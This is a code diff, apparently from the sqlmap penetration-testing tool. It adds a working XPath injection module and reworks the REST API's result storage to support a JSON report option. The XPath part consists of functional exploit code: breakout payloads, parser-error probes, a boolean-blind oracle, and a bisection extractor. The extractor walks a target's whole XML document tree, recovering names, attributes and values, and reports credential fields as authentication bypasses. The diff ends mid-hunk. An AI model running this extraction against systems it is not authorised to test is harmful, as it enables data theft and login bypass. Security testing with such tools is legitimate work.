+# extractable flag.  Only extractable boundaries can drive tree-walking.
+Boundary = namedtuple("Boundary", ("prefix", "suffix", "extractable"))
+
+# Convenience lookups built from _BREAKOUT_TABLE
+_BREAKOUT_FALSE_MAP = {}
+_BREAKOUT_BOUNDARY = {}
+_BREAKOUT_LIST = []
+for _entry in _BREAKOUT_TABLE:
+    _bk, _fv, _pfx, _sfx = _entry
+    _BREAKOUT_LIST.append(_bk)
+    _BREAKOUT_FALSE_MAP[_bk] = _fv
+    if _pfx is not None:
+        _BREAKOUT_BOUNDARY[_bk] = Boundary(_pfx, _sfx, True)
+    else:
+        _BREAKOUT_BOUNDARY[_bk] = None
+XPATH_BREAKOUT_PREFIXES = tuple(_BREAKOUT_LIST)
+
+Slot = namedtuple("Slot", ("place", "parameter", "backend", "oracle", "template", "payload", "boundary"))
+Slot.__new__.__defaults__ = (None, None, None, None, None, None, None)
+
+
+def _ratio(first, second):
+    return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio()
+
+
+def _delim(place):
+    return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&'
+
+
+def _confParameters(place):
+    try:
+        return conf.parameters.get(place, "")
+    except AttributeError:
+        return conf.parameters[place] if place in conf.parameters else ""
+
+
+def _originalValue(place, parameter):
+    for segment in _confParameters(place).split(_delim(place)):
+        name, _, value = segment.partition('=')
+        if name.strip() == parameter:
+            return value
+    return conf.paramDict.get(place, {}).get(parameter) or ""
+
+
+def _replaceSegment(place, parameter, value):
+    delimiter = _delim(place)
+    raw = _confParameters(place)
+    retVal, replaced = [], False
+
+    for part in raw.split(delimiter):
+        name, _, _ = part.partition('=')
+        if not replaced and name.strip() == parameter:
+            retVal.append("%s=%s" % (name, value))
+            replaced = True
+        else:
+            retVal.append(part)
+
+    if not replaced:
+        retVal = []
+        for name, oldValue in conf.paramDict.get(place, {}).items():
+            retVal.append("%s=%s" % (name, value if name == parameter else oldValue))
+
+    return delimiter.join(retVal)
+
+
+def _send(place, parameter, value):
+    """Issue a single HTTP request with the target parameter set to `value`.
+    Temporarily mutates conf.parameters so sqlmap's normal request machinery
+    (URL construction, cookies, headers, encodings) is fully preserved."""
+
+    if conf.delay:
+        time.sleep(conf.delay)
+
+    old_params = conf.parameters.get(place, "")
+    conf.parameters[place] = _replaceSegment(place, parameter, value)
+
+    try:
+        kwargs = {"raise404": False, "silent": True}
+        if conf.verbose >= 3:
+            logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
+        page, _, _ = Request.getPage(**kwargs)
+        return page or ""
+    except Exception as ex:
+        logger.debug("XPath probe request failed: %s" % getUnicode(ex))
+        return ""
+    finally:
+        conf.parameters[place] = old_params
+
+
+def _isError(page):
+    return bool(re.search(XPATH_ERROR_REGEX, getUnicode(page or "")))
+
+
+def _backendFromError(page):
+    page = getUnicode(page or "")
+    for backend, regex in XPATH_ERROR_SIGNATURES:
+        if re.search(regex, page):
+            return backend
+    return "Generic XPath" if _isError(page) else None
+
+
+def _probeBackendByParserError(place, parameter):
+    """Probe for XPath parser errors to obtain a backend hint.
+    This is NOT authoritative detection -- only a boolean oracle confirms injection."""
+
+    original = _originalValue(place, parameter) or "x"
+    normal = _send(place, parameter, original)
+
+    for suffix in ("'", '"', "')", '")', "]", "|"):
+        payload = original + suffix
+        broken = _send(place, parameter, payload)
+
+        if not normal or _ratio(normal, broken) >= UPPER_RATIO_BOUND:
+            continue
+
+        backend = _backendFromError(broken)
+        if backend and not _isError(normal):
+            return backend, payload
+
+    return None, None
+
+
+def _boolean(truthy, falsy):
+    """Return the reproducible true page when true/false probes diverge.
+    Both true AND false pages must be independently reproducible."""
+
+    truePage = truthy()
+    if truePage is None or _isError(truePage):
+        return None
+
+    truePage2 = truthy()
+    if _ratio(truePage, truePage2) < UPPER_RATIO_BOUND:
+        return None
+
+    falsePage = falsy()
+    if falsePage is None or _isError(falsePage):
+        return None
+
+    falsePage2 = falsy()
+    if _ratio(falsePage, falsePage2) < UPPER_RATIO_BOUND:
+        return None
+
+    if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
+        return truePage
+
+    return None
+
+
+def _makePayload(original, boundary, predicate):
+    """Construct a payload by inserting `predicate` into the verified boundary."""
+    if boundary.suffix:
+        return "%s%s%s%s" % (original, boundary.prefix, predicate, boundary.suffix)
+    return "%s%s%s" % (original, boundary.prefix, predicate)
+
+
+def _detectBoolean(place, parameter):
+    """Return (template, payload, boundary) for boolean-blind XPath injection.
+    boundary is None for detection-only breakouts (wildcard, union)."""
+
+    original = _originalValue(place, parameter) or ""
+
+    for breakout in XPATH_BREAKOUT_PREFIXES:
+        truePayload = original + breakout
+        falseVariant = _BREAKOUT_FALSE_MAP.get(breakout)
+        if not falseVariant:
+            continue
+
+        falseSpecific = original + falseVariant
+        template = _boolean(lambda p=truePayload: _send(place, parameter, p),
+                            lambda p=falseSpecific: _send(place, parameter, p))
+        if template:
+            boundary = _BREAKOUT_BOUNDARY.get(breakout)
+            return template, truePayload, boundary
+
+    # Wildcard: only useful for bool differentiation, not enumeration
+    if original:
+        template = _boolean(lambda: _send(place, parameter, "*"),
+                            lambda: _send(place, parameter, SENTINEL))
+        if template:
+            return template, "*", None
+
+    return None, None, None
+
+
+def _isPasswordParam(parameter):
+    parameter = getUnicode(parameter or "").lower()
+    return any(_ in parameter for _ in ("pass", "pwd", "secret", "pin", "cred", "key", "token", "auth"))
+
+
+def _fingerprintByError(backend):
+    if not backend:
+        return None
+    for name, _ in XPATH_ERROR_SIGNATURES:
+        if name in backend:
+            return name
+    return backend
+
+
+def _xpathQuote(s):
+    """Quote a string for an XPath string literal, choosing the delimiter that
+    requires no escaping. When both quotes appear, use concat()."""
+
+    s = getUnicode(s)
+    if "'" not in s:
+        return "'%s'" % s
+    if '"' not in s:
+        return '"%s"' % s
+    # both quote types present: use concat() with " as outer delimiter
+    return "concat(%s)" % ", '\"', ".join('"%s"' % part for part in s.split('"'))
+
+
+class _XPathPayloadBuilder(object):
+    """Build XPath boolean predicates for blind tree-walking using the verified
+    injection boundary from detection. Each method returns a complete payload."""
+
+    def __init__(self, original, boundary):
+        self.original = original or "x"
+        self.boundary = boundary
+
+    def _make(self, predicate):
+        return _makePayload(self.original, self.boundary, predicate)
+
+    def nameStartsWith(self, path, prefix):
+        return self._make("starts-with(name(%s),%s)" % (path, _xpathQuote(prefix)))
+
+    def nameLength(self, path, length):
+        return self._make("string-length(name(%s))=%d" % (path, length))
+
+    def childCount(self, path, count):
+        return self._make("count(%s/*)>=%d" % (path, count))
+
+    def attributeCount(self, path, count):
+        return self._make("count(%s/@*)>=%d" % (path, count))
+
+    def attributeNameStartsWith(self, path, index, prefix):
+        return self._make("starts-with(name(%s/@*[%d]),%s)" % (path, index, _xpathQuote(prefix)))
+
+    def attributeValueStartsWith(self, path, index, prefix):
+        return self._make("starts-with(string(%s/@*[%d]),%s)" % (path, index, _xpathQuote(prefix)))
+
+    def textStartsWith(self, path, prefix):
+        return self._make("starts-with(string(%s),%s)" % (path, _xpathQuote(prefix)))
+
+    def stringLengthAtLeast(self, target, n):
+        return self._make("string-length(%s)>=%d" % (target, n))
+
+    def charPresent(self, target, pos):
+        # True when the character at 1-based position `pos` of `target` belongs to
+        # the known ordered charset (so its index can be resolved by bisection).
+        return self._make("contains(%s,substring(%s,%d,1))" % (_CS_LITERAL, target, pos))
+
+    def charIndexAtLeast(self, target, pos, n):
+        # The 0-based index of a charset member equals the length of the charset
+        # prefix preceding it (XPath 1.0 has no lexicographic '<', but
+        # string-length(substring-before(...)) yields a number we can bisect on).
+        return self._make("string-length(substring-before(%s,substring(%s,%d,1)))>=%d" % (_CS_LITERAL, target, pos, n))
+
+
+def _makeOracle(place, parameter, template):
+    """Build an oracle from a verified true template. extract(payload) returns
+    True when the response is closer to the true template than to the false page."""
+
+    cache = {}
+
+    def request(payload):
+        if payload not in cache:
+            cache[payload] = _send(place, parameter, payload)
+        return cache[payload]
+
+    falsePage = request(SENTINEL)
+
+    def oracle(payload):
+        page = request(payload)
+        if page is None or _isError(page):
+            return False
+        return _ratio(template, page) >= UPPER_RATIO_BOUND
+
+    def extract(payload):
+        page = request(payload)
+        if page is None or _isError(page):
+            return False
+        trueRatio = _ratio(template, page)
+        falseRatio = _ratio(falsePage, page)
+        # Require either an unambiguous match against the template or a
+        # clear separation from the false page (minimum 5 %pt margin)
+        return trueRatio >= UPPER_RATIO_BOUND or (trueRatio - falseRatio) > 0.05
+
+    oracle.extract = extract
+    oracle.template = template
+    oracle.falsePage = falsePage
+    oracle.cache = cache
+    return oracle
+
+
+# Frequency-ordered charset for blind character extraction.
+# Excludes characters that are XPath metacharacters or problematic in URL context.
+_META_ORDS = set(ord(_) for _ in ("'", '"', '[', ']', '<', '>', '&', '/'))
+_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) +
+         tuple(xrange(ord('A'), ord('Z') + 1)) +
+         tuple(xrange(ord('0'), ord('9') + 1)) +
+         tuple(ord(_) for _ in "@._-+ "))
+_CHARSET = []
+for _ in _FREQ:
+    if XPATH_CHAR_MIN <= _ <= XPATH_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET:
+        _CHARSET.append(_)
+for _ in xrange(XPATH_CHAR_MIN, XPATH_CHAR_MAX + 1):
+    if _ not in _META_ORDS and _ not in _CHARSET:
+        _CHARSET.append(_)
+
+# Codepoint-ordered charset used by the binary-search extractor. Ordering here MUST match
+# the literal string `_CS_LITERAL` so that a recovered index maps back to the right character.
+_CS_ORDS = [_ for _ in xrange(XPATH_CHAR_MIN, XPATH_CHAR_MAX + 1) if _ not in _META_ORDS]
+_CS_LITERAL = _xpathQuote("".join(chr(_) for _ in _CS_ORDS))
+
+
+def _inferValue(oracle, builder, path, getter, maxLen=XPATH_MAX_LENGTH):
+    """Blindly infer a string value at `path` using `getter(builder, path, prefix)`.
+    Returns the recovered value or None."""
+
+    value = ""
+    probes = 0
+
+    for _ in xrange(maxLen):
+        found = False
+
+        for cp in _CHARSET:
+            candidate = value + chr(cp)
+            probes += 1
+
+            if oracle.extract(getter(builder, path, candidate)):
+                value = candidate
+                found = True
+                break
+
+        if not found:
+            break
+
+        if value.endswith("   "):
+            value = value.rstrip()
+            break
+
+    logger.debug("XPath blind inference: %d probes (length=%d)" % (probes, len(value)))
+    return value if value else None
+
+
+def _inferCount(oracle, builder, path, countFn, maxCount=128):
+    """Binary search for a count value using predicate 'count(...)>=N'."""
+
+    if not oracle.extract(countFn(builder, path, 1)):
+        return 0
+
+    lo, hi = 1, maxCount
+    while lo < hi:
+        mid = (lo + hi + 1) // 2
+        if oracle.extract(countFn(builder, path, mid)):
+            lo = mid
+        else:
+            hi = mid - 1
+    return lo
+
+
+def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH):
+    """Blindly recover the string value of XPath expression `target` (e.g.
+    "name(/*)" or "string(/*[1]/@*[1])") using binary search.
+
+    The length is bisected first, then each character is resolved by bisecting
+    its index inside the ordered charset. This needs ~log2(len) requests per
+    character versus the linear charset scan in _inferValue(), which matters a
+    lot when walking a whole document tree. Characters outside the charset are
+    surfaced as '?' so the rest of the value is still recovered."""
+
+    if not oracle.extract(builder.stringLengthAtLeast(target, 1)):
+        return None
+
+    lo, hi = 1, maxLen
+    while lo < hi:
+        mid = (lo + hi + 1) // 2
+        if oracle.extract(builder.stringLengthAtLeast(target, mid)):
+            lo = mid
+        else:
+            hi = mid - 1
+    length = lo
+
+    chars = []
+    probes = 0
+    last = len(_CS_ORDS) - 1
+    for pos in xrange(1, length + 1):
+        probes += 1
+        if not oracle.extract(builder.charPresent(target, pos)):
+            chars.append("?")
+            continue
+
+        clo, chi = 0, last
+        while clo < chi:
+            cmid = (clo + chi + 1) // 2
+            probes += 1
+            if oracle.extract(builder.charIndexAtLeast(target, pos, cmid)):
+                clo = cmid
+            else:
+                chi = cmid - 1
+        chars.append(chr(_CS_ORDS[clo]))
+
+    value = "".join(chars)
+    logger.debug("XPath blind inference: %d probes (length=%d)" % (probes, length))
+    return value or None
+
+
+def _walkTree(oracle, builder, path="/*", depth=0):
+    """Recursively walk the XML tree from a given XPath expression.
+    Returns a dict: {name, path, children, attributes, text} or None."""
+
+    if depth > XPATH_MAX_DEPTH:
+        return None
+
+    name = _inferString(oracle, builder, "name(%s)" % path)
+    if not name:
+        return None
+
+    logger.info("discovered element: '%s'" % name)
+
+    childCount = _inferCount(oracle, builder, path,
+                             lambda b, p, c: b.childCount(p, c),
+                             maxCount=32)
+
+    attrCount = _inferCount(oracle, builder, path,
+                            lambda b, p, c: b.attributeCount(p, c),
+                            maxCount=16)
+
+    attributes = []
+    for i in xrange(1, attrCount + 1):
+        attrName = _inferString(oracle, builder, "name(%s/@*[%d])" % (path, i))
+        if not attrName:
+            continue
+
+        attrValue = _inferString(oracle, builder, "string(%s/@*[%d])" % (path, i))
+        attributes.append({"name": attrName, "value": attrValue or ""})
+        logger.info("  attribute: @%s='%s'" % (attrName, attrValue or ""))
+
+    text = None
+    if childCount == 0:
+        text = _inferString(oracle, builder, "string(%s)" % path)
+
+    children = []
+    for i in xrange(1, childCount + 1):
+        childPath = "%s/*[%d]" % (path, i)
+        child = _walkTree(oracle, builder, childPath, depth + 1)
+        if child:
+            children.append(child)
+
+    return {
+        "name": name,
+        "path": path,
+        "children": children,
+        "attributes": attributes,
+        "text": text,
+    }
+
+
+def _treeToTable(node):
+    """Flatten a tree node to (columns, rows) for grid output."""
+
+    columns = ["Path", "Element", "Attribute", "Value"]
+    rows = []
+
+    def _flatten(n, depth=0):
+        path = n["path"]
+        rows.append([path, n["name"], "", ""])
+        for attr in n.get("attributes", []):
+            rows.append([path, n["name"], "@" + attr["name"], attr["value"]])
+        if n.get("text"):
+            rows.append([path, n["name"], "text()", n["text"]])
+        for child in n.get("children", []):
+            _flatten(child, depth + 1)
+
+    _flatten(node)
+    return columns, [_ for _ in rows if _[3] or _[2] not in ("", "text()")]
+
+
+def _grid(columns, rows):
+    columns = [getUnicode(_) for _ in columns]
+    rows = [[getUnicode(_) for _ in row] for row in rows]
+
+    widths = []
+    for index, column in enumerate(columns):
+        width = len(column)
+        for row in rows:
+            if index < len(row):
+                width = max(width, len(getUnicode(row[index])))
+        widths.append(width)
+
+    separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+"
+
+    def line(cells):
+        return "| " + " | ".join((getUnicode(cells[index]) if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |"
+
+    return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator])
+
+
+def _dumpTable(title, columns, rows):
+    if rows:
+        conf.dumper.singleString("%s:\n%s" % (title, _grid(columns, rows)))
+
+
+def xpathScan():
+    global SENTINEL
+    SENTINEL = randomStr(length=10, lowercase=True)
+
+    debugMsg = "'--xpath' is self-contained: it detects XPath injection in HTTP "
+    debugMsg += "parameters and walks the reachable XML document tree. SQL enumeration "
+    debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored"
+    logger.debug(debugMsg)
+
+    if not conf.paramDict:
+        logger.error("no request parameters to test (use --data, GET params, or similar)")
+        return
+
+    tested = found = 0
+    slots = []
+
+    for place in (_ for _ in XPATH_PLACES if _ in conf.paramDict):
+        for parameter in list(conf.paramDict[place].keys()):
+            if conf.testParameter and parameter not in conf.testParameter:
+                continue
+
+            tested += 1
+            logger.info("testing XPath injection on %s parameter '%s'" % (place, parameter))
+
+            # Phase 1: Probe the XPath parser for a backend hint
+            backendHint, _errorPayload = _probeBackendByParserError(place, parameter)
+            if backendHint:
+                backendHint = _fingerprintByError(backendHint)
+
+            # Phase 2: Establish a boolean oracle (authoritative)
+            template, payload, boundary = _detectBoolean(place, parameter)
+            if template:
+                if boundary and boundary.extractable:
+                    found += 1
+                    backend = backendHint or "Generic XPath"
+                    logger.info("%s parameter '%s' is vulnerable to XPath injection (back-end: '%s')" % (place, parameter, backend))
+                    if conf.beep:
+                        beep()
+
+                    oracle = _makeOracle(place, parameter, template)
+                    slots.append(Slot(place=place, parameter=parameter, backend=backend,
+                                      oracle=oracle, template=template, payload=payload,
+                                      boundary=boundary))
+                    continue
+
+                # Detection-only: boolean differentiation confirmed but no extraction boundary.
+                # Report as auth bypass on credential fields; log generically otherwise.
+                found += 1
+                if _isPasswordParam(parameter):
+                    title = "XPath auth bypass"
+                    logger.info("%s parameter '%s' allows XPath auth bypass (boolean differentiation confirmed)" % (place, parameter))
+                else:
+                    title = "XPath boolean-based blind (detection-only)"
+                    logger.info("%s parameter '%s' is vulnerable to XPath injection (detection-only, back-end: '%s')" % (place, parameter, backendHint or "Generic XPath"))
+                if conf.beep:
+                    beep()
+                conf.dumper.singleString("---\nParameter: %s (%s)\n    Type: XPath injection\n    Title: %s\n    Payload: %s=%s\n---" % (parameter, place, title, parameter, payload))
+                continue
+
+            if backendHint:
+                logger.info("%s parameter '%s' reaches an XPath parser (back-end: '%s'), but no exploitable boolean oracle was established" % (place, parameter, backendHint))
+
+    if not slots:
+        if found:
+            logger.info("XPath injection confirmed (detection-only, no extractable boundary established)")
+            logger.info("XPath scan complete")
+            return
+        if tested:
+            warnMsg = "no parameter appears to be injectable via XPath injection (%d tested)" % tested
+        else:
+            warnMsg = "no parameters found to test for XPath injection"
+        logger.warning(warnMsg)
+        return
+
+    # Select the first oracle-bearing slot with an extractable boundary for tree-walking
+    slot = next((_ for _ in slots if _.oracle and _.boundary and _.boundary.extractable), None)
+    if not slot:
+        logger.info("XPath scan complete")
+        return
+
+    original = _originalValue(slot.place, slot.parameter) or "x"
+    # OR-style boundaries always-true if the original branch matches, so use a
+    # sentinel that is guaranteed not to appear as a field value.  AND-style
+    # boundaries need the original branch to match; keep the original there.
+    if " or " in slot.boundary.prefix:
+        base = SENTINEL
+    else:
+        base = original
+    builder = _XPathPayloadBuilder(base, slot.boundary)
+    oracle = slot.oracle
+
+    # Refine backend fingerprint if generic
+    if not slot.backend or slot.backend == "Generic XPath":
+        backend = _backendFromError(oracle.template)
+        if backend:
+            backend = _fingerprintByError(backend)
+            if backend:
+                logger.info("identified back-end: '%s'" % backend)
+                slot = slot._replace(backend=backend)
+
+    title = "XPath boolean-based blind"
+    conf.dumper.singleString("---\nParameter: %s (%s)\n    Type: XPath injection\n    Title: %s\n    Payload: %s=%s\n---" % (slot.parameter, slot.place, title, slot.parameter, slot.payload))
+
+    # Blind XML tree-walking (attempted document-root traversal)
+    logger.info("walking XML document tree (depth limit: %d)" % XPATH_MAX_DEPTH)
+    root = _walkTree(oracle, builder)
+
+    if root:
+        columns, rows = _treeToTable(root)
+        logger.info("extracted %d node(s) from XML tree" % (len(rows)))
+        _dumpTable("XPath: %s parameter '%s' XML tree" % (slot.place, slot.parameter), columns, rows)
+    else:
+        warnMsg = "XPath injection is confirmed but the XML tree could not be walked. "
+        warnMsg += "This may indicate a restricted XPath context (subtree, scalar, or predicate-only)"
+        logger.warning(warnMsg)
+
+    logger.info("XPath scan complete")

lib/utils/api.py

@@ -23,6 +23,7 @@ import time
 from lib.core.common import dataToStdout
 from lib.core.common import getSafeExString
 from lib.core.common import openFile
+from lib.core.common import safeCompareStrings
 from lib.core.common import saveConfig
 from lib.core.common import setColor
 from lib.core.common import unArrayizeValue
@@ -43,7 +44,9 @@ from lib.core.defaults import _defaults
 from lib.core.dicts import PART_RUN_CONTENT_TYPES
 from lib.core.enums import AUTOCOMPLETE_TYPE
 from lib.core.enums import CONTENT_STATUS
+from lib.core.enums import CONTENT_TYPE
 from lib.core.enums import MKSTEMP_PREFIX
+from lib.core.enums import PAYLOAD
 from lib.core.exception import SqlmapConnectionException
 from lib.core.log import LOGGER_HANDLER
 from lib.core.optiondict import optDict
@@ -52,6 +55,7 @@ from lib.core.settings import RESTAPI_DEFAULT_ADAPTER
 from lib.core.settings import RESTAPI_DEFAULT_ADDRESS
 from lib.core.settings import RESTAPI_DEFAULT_PORT
 from lib.core.settings import RESTAPI_UNSUPPORTED_OPTIONS
+from lib.core.settings import RESTAPI_VERSION
 from lib.core.settings import VERSION_STRING
 from lib.core.shell import autoCompletion
 from lib.core.subprocessng import Popen
@@ -77,6 +81,197 @@ class DataStore(object):
     username = None
     password = None
 
+RESTAPI_READONLY_OPTIONS = ("api", "taskid", "database")
+
+# Reverse map CONTENT_TYPE int -> name (e.g. 2 -> "DBMS_FINGERPRINT"), for machine-readable reports
+CONTENT_TYPE_NAMES = dict((v, k) for k, v in vars(CONTENT_TYPE).items() if not k.startswith("_") and isinstance(v, int))
+
+# Task id used for the single-target CLI collector backing --report-json
+REPORT_TASKID = 0
+
+def _storeData(cursor, taskid, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None):
+    """
+    Records a single (status, content_type, value) result row into an IPC-style 'data' table.
+
+    Shared by the REST API (via StdDbOut) and the CLI --report-json collector so both capture
+    results through identical logic (partial outputs are appended; a COMPLETE output replaces
+    its partials). Mirrors the API's per-content_type merge semantics.
+    """
+
+    if content_type is None:
+        if kb.partRun is not None:
+            content_type = PART_RUN_CONTENT_TYPES.get(kb.partRun)
+        else:
+            # Ignore all non-relevant (untyped) messages
+            return
+
+    output = cursor.execute("SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", (taskid, content_type))
+
+    # Delete partial output from the database if we have got a complete output
+    if status == CONTENT_STATUS.COMPLETE:
+        if len(output) > 0:
+            for index in xrange(len(output)):
+                cursor.execute("DELETE FROM data WHERE id = ?", (output[index][0],))
+
+        cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (taskid, status, content_type, jsonize(value)))
+        if kb.partRun:
+            kb.partRun = None
+
+    elif status == CONTENT_STATUS.IN_PROGRESS:
+        if len(output) == 0:
+            cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (taskid, status, content_type, jsonize(value)))
+        else:
+            new_value = "%s%s" % (dejsonize(output[0][2]), value)
+            cursor.execute("UPDATE data SET value = ? WHERE id = ?", (jsonize(new_value), output[0][0]))
+
+# Internal detection/plumbing fields that are meaningless to API/report consumers and are stripped
+# from the assembled output (the underlying kb/session structures keep them; only the output is cleaned)
+INJECTION_INTERNAL_FIELDS = ("conf", "prefix", "suffix", "ptype", "clause")            # detection/construction internals, irrelevant to a result consumer
+TECHNIQUE_INTERNAL_FIELDS = ("matchRatio", "trueCode", "falseCode", "templatePayload", "where")  # per-technique internals
+
+def _cleanIdentifier(name):
+    """
+    Strips SQL identifier quoting (`backticks`, "double quotes", [brackets]) in a DBMS-INDEPENDENT
+    way. Used instead of unsafeSQLIdentificatorNaming (which needs Backend.getIdentifiedDbms) so the
+    result is identical in the CLI and in the API server process - which has no Backend context
+    because the scan ran in a subprocess. Context-free => API and report stay in parity.
+    """
+
+    if isinstance(name, six.string_types):
+        for ch in ("`", "\"", "[", "]"):
+            name = name.replace(ch, "")
+    return name
+
+def _cleanIdentifiersDeep(value):
+    """
+    Recursively unquotes every identifier in a metadata structure (dict keys and string leaves -
+    db/table/column names). Used for the schema-listing content types (TABLES/COLUMNS/SCHEMA/COUNT)
+    whose payload is entirely identifiers + types/counts (never user row data), so cleaning every
+    string is safe. NOT used for DUMP_TABLE, whose leaf values are real row data.
+    """
+
+    if isinstance(value, dict):
+        return dict((_cleanIdentifier(k), _cleanIdentifiersDeep(v)) for k, v in value.items())
+    elif isinstance(value, (list, tuple)):
+        return [_cleanIdentifiersDeep(_) for _ in value]
+    elif isinstance(value, six.string_types):
+        return _cleanIdentifier(value)
+    return value
+
+# Schema-listing content types: pure identifiers + types/counts, so identifier quoting is cleaned
+# recursively for consistency with DUMP_TABLE (which is handled separately because it carries row data)
+IDENTIFIER_KEYED_TYPES = (CONTENT_TYPE.TABLES, CONTENT_TYPE.COLUMNS, CONTENT_TYPE.SCHEMA, CONTENT_TYPE.COUNT)
+
+def _sanitizeScanData(content_type, value):
+    """
+    Reshapes an assembled result value into the clean, consumer-facing form used by BOTH the API
+    response and the --report-json file: internal detection/plumbing fields are dropped, the
+    per-technique map becomes a named list, and dumped-table identifiers are unquoted. Operates on
+    the dejsonized copy, so the live kb/session structures are never modified. Falls back to the raw
+    value on any surprise.
+    """
+
+    try:
+        if content_type == CONTENT_TYPE.TECHNIQUES and isinstance(value, (list, tuple)):
+            cleaned = []
+            for injection in value:
+                if not isinstance(injection, dict):
+                    cleaned.append(injection)
+                    continue
+                injection = dict(injection)
+                for field in INJECTION_INTERNAL_FIELDS:
+                    injection.pop(field, None)
+                techniques = injection.get("data")
+                if isinstance(techniques, dict):
+                    # turn the {"1": {...}, "2": {...}} map (keyed by opaque technique ids) into an
+                    # ordered list, each entry naming its technique (e.g. "boolean-based blind")
+                    reduced = []
+                    for stype in sorted(techniques, key=lambda _: int(_) if str(_).isdigit() else _):
+                        details = techniques[stype]
+                        if isinstance(details, dict):
+                            details = dict(details)
+                            for field in TECHNIQUE_INTERNAL_FIELDS:
+                                details.pop(field, None)
+                            key = int(stype) if str(stype).isdigit() else stype
+                            entry = {"technique": PAYLOAD.SQLINJECTION.get(key, key)}
+                            entry.update(details)
+                            details = entry
+                        reduced.append(details)
+                    injection["data"] = reduced
+                cleaned.append(injection)
+            return cleaned
+
+        elif content_type == CONTENT_TYPE.DUMP_TABLE and isinstance(value, dict):
+            infos = value.get("__infos__") or {}
+            result = {"db": _cleanIdentifier(infos.get("db")), "table": _cleanIdentifier(infos.get("table")), "count": infos.get("count"), "columns": {}}
+            for column, cell in value.items():
+                if column == "__infos__":
+                    continue
+                # clean the identifier, drop the per-column display 'length', keep just the values list
+                values = cell.get("values") if isinstance(cell, dict) else cell
+                if isinstance(values, (list, tuple)):
+                    # sqlmap represents a DB NULL as a single space (DUMP_REPLACEMENTS); surface it as
+                    # JSON null. An empty string "" is a genuine empty value and is left as-is.
+                    values = [None if _ == " " else _ for _ in values]
+                result["columns"][_cleanIdentifier(column)] = values
+            return result
+
+        elif content_type in IDENTIFIER_KEYED_TYPES and isinstance(value, (dict, list, tuple)):
+            return _cleanIdentifiersDeep(value)
+
+    except Exception as ex:
+        logger.debug("failed to sanitize scan data (content type %s): %s" % (content_type, getSafeExString(ex)))
+
+    return value
+
+def _assembleData(cursor, taskid):
+    """
+    Assembles all stored results for a task into the canonical scan-data structure
+    {"success": True, "data": [{status, type, type_name, value}, ...], "error": [...]}.
+
+    Shared by the REST API endpoint /scan/<id>/data and the CLI --report-json writer so the two
+    produce identical output (the CLI report is this dict plus a 'meta' wrapper).
+    """
+
+    json_data_message = list()
+    json_errors_message = list()
+
+    for status, content_type, value in cursor.execute("SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)):
+        json_data_message.append({"status": status, "type": content_type, "type_name": CONTENT_TYPE_NAMES.get(content_type), "value": _sanitizeScanData(content_type, dejsonize(value))})
+
+    for error, in cursor.execute("SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)):
+        json_errors_message.append(error)
+
+    return {"success": True, "data": json_data_message, "error": json_errors_message}
+
+def setupReportCollector():
+    """
+    Creates an in-memory IPC-style database used to collect results for a CLI --report-json run.
+    Reuses the same Database/schema the REST API uses so capture+assembly logic is shared.
+    """
+
+    collector = Database(":memory:")
+    collector.connect("report")
+    collector.init()
+    return collector
+
+def writeReportJson(collector, filepath):
+    """
+    Writes the collected results to filepath as JSON, in the same shape as the REST API's
+    /scan/<id>/data response, wrapped with a small 'meta' block for standalone consumers.
+    """
+
+    result = _assembleData(collector, REPORT_TASKID)
+    result["meta"] = {
+        "api_version": int(RESTAPI_VERSION.split(".")[0]),   # MAJOR only - the part that matters for client compatibility
+        "sqlmap_version": VERSION_STRING,
+        "url": conf.get("url"),
+        "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"),
+    }
+
+    with openFile(filepath, "w+") as f:
+        f.write(getText(jsonize(result)))
+
 # API objects
 class Database(object):
     filepath = None
@@ -90,7 +285,7 @@ class Database(object):
         self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None, check_same_thread=False)
         self.cursor = self.connection.cursor()
         self.lock = threading.Lock()
-        logger.debug("REST-JSON API %s connected to IPC database" % who)
+        logger.debug("REST API %s connected to IPC database" % who)
 
     def disconnect(self):
         if self.cursor:
@@ -118,8 +313,8 @@ class Database(object):
                 else:
                     break
 
-        if statement.lstrip().upper().startswith("SELECT"):
-            return self.cursor.fetchall()
+            if statement.lstrip().upper().startswith("SELECT"):
+                return self.cursor.fetchall()
 
     def init(self):
         self.execute("CREATE TABLE IF NOT EXISTS logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)")
@@ -233,31 +428,7 @@ class StdDbOut(object):
 
     def write(self, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None):
         if self.messagetype == "stdout":
-            if content_type is None:
-                if kb.partRun is not None:
-                    content_type = PART_RUN_CONTENT_TYPES.get(kb.partRun)
-                else:
-                    # Ignore all non-relevant messages
-                    return
-
-            output = conf.databaseCursor.execute("SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", (self.taskid, content_type))
-
-            # Delete partial output from IPC database if we have got a complete output
-            if status == CONTENT_STATUS.COMPLETE:
-                if len(output) > 0:
-                    for index in xrange(len(output)):
-                        conf.databaseCursor.execute("DELETE FROM data WHERE id = ?", (output[index][0],))
-
-                conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value)))
-                if kb.partRun:
-                    kb.partRun = None
-
-            elif status == CONTENT_STATUS.IN_PROGRESS:
-                if len(output) == 0:
-                    conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value)))
-                else:
-                    new_value = "%s%s" % (dejsonize(output[0][2]), value)
